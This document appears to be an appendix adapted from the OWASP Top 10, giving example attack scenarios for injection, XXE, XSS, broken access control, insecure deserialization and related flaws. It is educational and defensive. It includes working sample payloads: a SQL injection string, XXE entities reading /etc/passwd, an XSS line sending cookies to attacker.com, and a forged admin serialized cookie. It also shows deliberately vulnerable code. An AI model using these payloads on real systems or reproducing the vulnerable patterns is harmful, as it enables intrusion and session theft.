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## Common Security Pitfalls Appendix

### A1. Injection

#### Example Attack Scenarios

*Scenario #1:* An application uses untrusted data in the construction of the following vulnerableSQL call:

```
String query = "SELECT * FROM accounts WHERE custID='" +  
request.getParameter("id") + "'";
```

*Scenario #2:* Similarly, an application's blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):

```
Query hqlQuery= session.createQuery("FROM accounts WHERE  
custID='" + request.getParameter("id") + "'");
```

In both cases, the attacker modifies the 'id' parameter value in their browser to send: ' or '1'='1. For example:

```
http://example.com/app/accountView?id='or '1'='1
```

This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

## A2. Broken Authentication

### Example Attack Scenarios:

*Scenario #1:* Credential stuffing, the use of lists of known passwords, is a common attack. If an application does not implement automated threat or credential stuffing protections, the application can be used as a password oracle to determine if the credentials are valid.

*Scenario #2:* Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and use multi-factor authentication.

*Scenario #3:* Application session timeouts aren't set properly. A user uses a public computer to access an application. Instead of selecting "logout" the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.

## A3. Sensitive Data Exposure

### Example Attack Scenarios:

*Scenario #1:* An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.

*Scenario #2:* A site doesn't use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.

*Scenario #3:* The password database uses unsalted or simple hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the

unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.

## A4. XML External Entities

### Example Attack Scenarios

Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:

*Scenario #1:* The attacker attempts to extract data from the server:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxeSYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

*Scenario #2:* An attacker probes the server's private network by changing the above ENTITY line to:

```
<!ENTITY xxeSYSTEM "https://192.168.1.1/private" >]>
```

*Scenario #3:* An attacker attempts a denial-of-service attack by including a potentially endless file:

```
<!ENTITY xxeSYSTEM "file:///dev/random" >]>
```

## A5. Broken Access Control

### Example Attack Scenarios

*Scenario #1:* The application uses unverified data in a SQL call that is accessing account information:

```
pstmt.setString(1, request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery( );
```

An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.

`http://example.com/app/accountInfo?acct=notmyacct`

*Scenario #2:* An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.

<http://example.com/app/getappInfo>  
[http://example.com/app/admin\\_getappInfo](http://example.com/app/admin_getappInfo)

If an unauthenticated user can access either page, it's a flaw. If a non-admin can access the adminpage, this is a flaw.

## A6. Security Misconfiguration

### Example Attack Scenarios

*Scenario #1:* The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren't changed the attacker logs in with default passwords and takes over.

*Scenario #2:* Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.

*Scenario #3:* The application server's configuration allows detailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.

*Scenario #4:* A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.

## A7. Cross-Site Scripting (XSS)

### Example Attack Scenario

*Scenario 1:* The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```
(String) page += "<input name='creditcard' type='TEXT' value='" +  
request.getParameter("CC") + "'>";
```

The attacker modifies the 'CC' parameter in the browser to:

```
'><script>document.location='http://www.attacker.com/cgi-  
bin/cookie.cgi?foo='+document.cookie</script>'.
```

This attack causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.

## A8. Insecure Deserialization

### Example Attack Scenarios

*Scenario #1:* A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the "R00" Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.

*Scenario #2:* A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:

```
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3  
bea87fe0e05022f8f3c88bc960";}
```

An attacker changes the serialized object to give themselves admin privileges:

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

## A10. Using Components with Known Vulnerabilities

*Scenario #1:* Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:

- CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.
  - While internet of things (IoT) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).
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